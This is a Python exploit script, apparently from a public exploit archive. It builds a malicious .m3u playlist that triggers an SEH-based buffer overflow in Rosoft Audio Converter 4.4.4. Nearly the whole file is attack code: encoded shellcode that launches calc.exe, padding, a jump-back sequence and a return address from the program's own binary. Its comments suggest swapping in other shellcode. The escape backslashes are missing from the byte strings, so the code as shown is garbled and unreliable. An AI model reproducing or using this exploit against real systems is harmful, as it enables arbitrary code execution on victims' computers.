# Exploit Title: Rosoft Audio Converter 4.4.4 Buffer Overflow
# Date: June 14, 2010
# Author: Blake
# Software Link: http://www.rosoftengineering.com/freeware/RosoftAudioConverterFree.aspx
# Version: 4.4.4
# Tested on: Windows XP SP3 / Windows 7 Home (change shellcode for Windows 7)
# Instructions: create malicious file, open in audio converter, select save

print "n============================"
print "Rosoft Audio Converter 4.4.4"
print "      Written by Blake      "
print "   Tested on Windows XP SP3 "
print "============================n"

# calc.exe
sc =(
"xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49"
"x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36"
"x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34"
"x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41"
"x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4ax4ex46x44"
"x42x30x42x50x42x30x4bx48x45x54x4ex43x4bx38x4ex47"
"x45x50x4ax57x41x30x4fx4ex4bx58x4fx54x4ax41x4bx38"
"x4fx45x42x42x41x50x4bx4ex49x44x4bx38x46x33x4bx48"
"x41x50x50x4ex41x53x42x4cx49x59x4ex4ax46x58x42x4c"
"x46x57x47x30x41x4cx4cx4cx4dx30x41x30x44x4cx4bx4e"
"x46x4fx4bx53x46x55x46x32x46x50x45x47x45x4ex4bx58"
"x4fx45x46x52x41x50x4bx4ex48x56x4bx58x4ex50x4bx44"
"x4bx48x4fx55x4ex41x41x30x4bx4ex4bx58x4ex41x4bx38"
"x41x50x4bx4ex49x48x4ex45x46x32x46x50x43x4cx41x33"
"x42x4cx46x46x4bx38x42x44x42x53x45x38x42x4cx4ax47"
"x4ex30x4bx48x42x44x4ex50x4bx58x42x37x4ex51x4dx4a"
"x4bx48x4ax36x4ax30x4bx4ex49x50x4bx38x42x58x42x4b"
"x42x50x42x50x42x50x4bx38x4ax36x4ex43x4fx45x41x53"
"x48x4fx42x46x48x35x49x38x4ax4fx43x48x42x4cx4bx57"
"x42x45x4ax36x42x4fx4cx38x46x30x4fx35x4ax46x4ax39"
"x50x4fx4cx38x50x50x47x55x4fx4fx47x4ex43x46x41x46"
"x4ex46x43x36x42x50x5a")

buffer = "x41" * (4083 - len(sc))
nops = "x90" * 20
near_jmp = "xe8xf4xefxffxff"	# jmp back	
next_seh = "xebxf9x90x90"	
seh = "xe7xb3x49x00"	#Found pop eax -  pop ebx -  ret at 0x0049B3E7 [rosoftaudioconverterfree.exe]
junk = "xCC" * 25000

print "[+] Creating malicious .m3u file"
try:
	file = open("blake.m3u","w")
	file.write(buffer + nops + sc + near_jmp + next_seh + seh + junk)
	file.close()
	print "[+] File created"
except:
	print "[x] Could not create file"

raw_input("nPress any key to exit...n")